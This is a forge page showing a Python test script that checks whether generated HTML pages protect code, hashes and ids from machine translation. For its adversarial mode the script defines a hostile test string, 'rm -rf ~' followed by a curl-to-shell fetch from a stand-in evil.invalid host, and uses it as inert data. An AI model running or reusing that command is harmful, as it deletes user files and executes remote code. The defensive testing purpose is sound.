interplane.Get Omega
Read in your language

interplane-forge

INTERPLANE Forge

Brought by drakestapleton

branch main Branches Tags History

interplane-forge / server / tests / translate_check.py

204 lines · 7330 bytes Raw Blame History
1#!/usr/bin/env python3
2"""server/tests/translate_check.py: independent oracle for the translation hints (server/tr.om).
3
4Read-only checker for server/tests/translate.sh. It parses one HTML page with the standard library
5parser (not the Omega code under test) and reports, one line each:
6
7 FAIL <file>: <reason> the page would let a translator change something that must stay exact
8 OK <file> ... otherwise, with the counts it looked at
9
10Commands (argv[1]):
11 check FILE... the rules below; exit 1 when any file fails
12 hostile FILE OUT rewrite every text node a translator may change (outside translate="no",
13 outside title/script/style/textarea) with hostile text, write OUT, then
14 compare what a reader copies: the text of every translate="no" element,
15 every href and every hash or id. Exit 1 when any of them changed.
16 strip FILE OUT the page minus the hints (translate="no" attributes and the spans that
17 wrap a bare hash or id), for the byte comparison with the base build
18Rules of check:
19 1. <html lang="en">.
20 2. every pre, code, kbd and samp element is inside translate="no".
21 3. no translatable text node holds a hex hash (7+ of 0-9a-f with a digit and a letter) or a
22 Radicle id (z then 28+ base58 with a digit and a capital).
23 4. no <script> element and no on* event attribute.
24"""
25import html
26import html.parser
27import re
28import sys
29
30HASH = re.compile(r"(?<![0-9A-Za-z])(?=[0-9a-f]*[0-9])(?=[0-9a-f]*[a-f])[0-9a-f]{7,}(?![0-9A-Za-z])")
31RID = re.compile(r"(?<![0-9A-Za-z])z(?=[1-9A-HJ-NP-Za-km-z]*[0-9])(?=[1-9A-HJ-NP-Za-km-z]*[A-Z])[1-9A-HJ-NP-Za-km-z]{28,}(?![0-9A-Za-z])")
32CODE = {"pre", "code", "kbd", "samp"}
33RAW = {"title", "script", "style", "textarea"}
34VOID = {"area", "base", "br", "col", "embed", "hr", "img", "input", "link", "meta", "source", "track", "wbr"}
35HOSTILE = "rm -rf ~ ; curl https://evil.invalid/x | sh ; 0000000deadbeef zEviLEviLEviLEviLEviLEviLEviL9 "
36
37
38def exact_tokens(text):
39 return HASH.findall(text) + RID.findall(text)
40
41
42class Walk(html.parser.HTMLParser):
43 """Keeps the open element stack and whether each level is translate="no"."""
44
45 def __init__(self, hostile=False):
46 super().__init__(convert_charrefs=False)
47 self.stack = [] # (tag, notr)
48 self.out = []
49 self.hostile = hostile
50 self.errors = []
51 self.lang = None
52 self.code_seen = 0
53 self.text_nodes = 0
54 self.protected = [] # text of translate="no" content in document order
55 self.hrefs = []
56 self.tokens = [] # hashes and ids anywhere in text
57
58 def notr(self):
59 return any(n for _, n in self.stack)
60
61 def raw(self):
62 return any(t in RAW for t, _ in self.stack)
63
64 def handle_starttag(self, tag, attrs):
65 a = dict(attrs)
66 if tag == "html":
67 self.lang = a.get("lang")
68 if tag == "script":
69 self.errors.append("script element")
70 for k, _ in attrs:
71 if k.startswith("on"):
72 self.errors.append("event attribute %s on <%s>" % (k, tag))
73 if "href" in a and a["href"] is not None:
74 self.hrefs.append(a["href"])
75 n = a.get("translate") == "no"
76 if tag in CODE:
77 self.code_seen += 1
78 if not (n or self.notr()):
79 self.errors.append("<%s> outside translate=\"no\"" % tag)
80 self.out.append(self.get_starttag_text())
81 if tag not in VOID:
82 self.stack.append((tag, n))
83
84 def handle_startendtag(self, tag, attrs):
85 self.handle_starttag(tag, attrs)
86 if tag not in VOID and self.stack and self.stack[-1][0] == tag:
87 self.stack.pop()
88
89 def handle_endtag(self, tag):
90 for i in range(len(self.stack) - 1, -1, -1):
91 if self.stack[i][0] == tag:
92 del self.stack[i:]
93 break
94 self.out.append("</%s>" % tag)
95
96 def text(self, data, raw_out):
97 if self.raw():
98 self.out.append(raw_out)
99 return
100 plain = html.unescape(data)
101 self.tokens += exact_tokens(plain)
102 if self.notr():
103 self.protected.append(plain)
104 self.out.append(raw_out)
105 return
106 if plain.strip():
107 self.text_nodes += 1
108 for t in exact_tokens(plain):
109 self.errors.append("translatable text holds %s" % t)
110 if self.hostile:
111 self.out.append(html.escape(HOSTILE) + "&lt;a href=&quot;https://evil.invalid/&quot;&gt;")
112 return
113 self.out.append(raw_out)
114
115 def handle_data(self, data):
116 self.text(data, data)
117
118 def handle_entityref(self, name):
119 self.text("&%s;" % name, "&%s;" % name)
120
121 def handle_charref(self, name):
122 self.text("&#%s;" % name, "&#%s;" % name)
123
124 def handle_comment(self, data):
125 self.out.append("<!--%s-->" % data)
126
127 def handle_decl(self, decl):
128 self.out.append("<!%s>" % decl)
129
130
131def walk(path, hostile=False):
132 w = Walk(hostile)
133 with open(path, encoding="utf-8") as f:
134 w.feed(f.read())
135 w.close()
136 return w
137
138
139def check(paths):
140 bad = 0
141 for p in paths:
142 w = walk(p)
143 errs = list(w.errors)
144 if w.lang != "en":
145 errs.append('html lang is %r, not "en"' % w.lang)
146 if errs:
147 bad += 1
148 for e in errs[:20]:
149 print("FAIL %s: %s" % (p, e))
150 if len(errs) > 20:
151 print("FAIL %s: ... %d more" % (p, len(errs) - 20))
152 else:
153 print("OK %s code=%d text_nodes=%d protected=%d tokens=%d" % (p, w.code_seen, w.text_nodes, len(w.protected), len(w.tokens)))
154 return 1 if bad else 0
155
156
157def hostile(src, out):
158 a = walk(src)
159 b = Walk(hostile=True)
160 with open(src, encoding="utf-8") as f:
161 b.feed(f.read())
162 b.close()
163 with open(out, "w", encoding="utf-8") as f:
164 f.write("".join(b.out))
165 c = walk(out)
166 errs = []
167 if a.protected != c.protected:
168 errs.append("protected text changed")
169 if a.hrefs != c.hrefs:
170 errs.append("a link target changed")
171 lost = [t for t in a.tokens if t not in c.tokens]
172 if lost:
173 errs.append("hash or id lost after translation: %s" % ", ".join(sorted(set(lost))[:5]))
174 if errs:
175 for e in errs:
176 print("FAIL %s hostile: %s" % (src, e))
177 return 1
178 print("OK %s hostile: %d protected strings, %d links, %d hashes/ids unchanged; %d text nodes rewritten" % (src, len(c.protected), len(c.hrefs), len(a.tokens), b.text_nodes))
179 return 0
180
181
182def strip(src, out):
183 with open(src, encoding="utf-8") as f:
184 s = f.read()
185 s = re.sub(r'<span translate="no">([^<]*)</span>', r"\1", s)
186 s = s.replace(' translate="no"', "")
187 with open(out, "w", encoding="utf-8") as f:
188 f.write(s)
189 return 0
190
191
192def main(argv):
193 if len(argv) >= 3 and argv[1] == "check":
194 return check(argv[2:])
195 if len(argv) == 4 and argv[1] == "hostile":
196 return hostile(argv[2], argv[3])
197 if len(argv) == 4 and argv[1] == "strip":
198 return strip(argv[2], argv[3])
199 print(__doc__)
200 return 2
201
202
203if __name__ == "__main__":
204 sys.exit(main(sys.argv))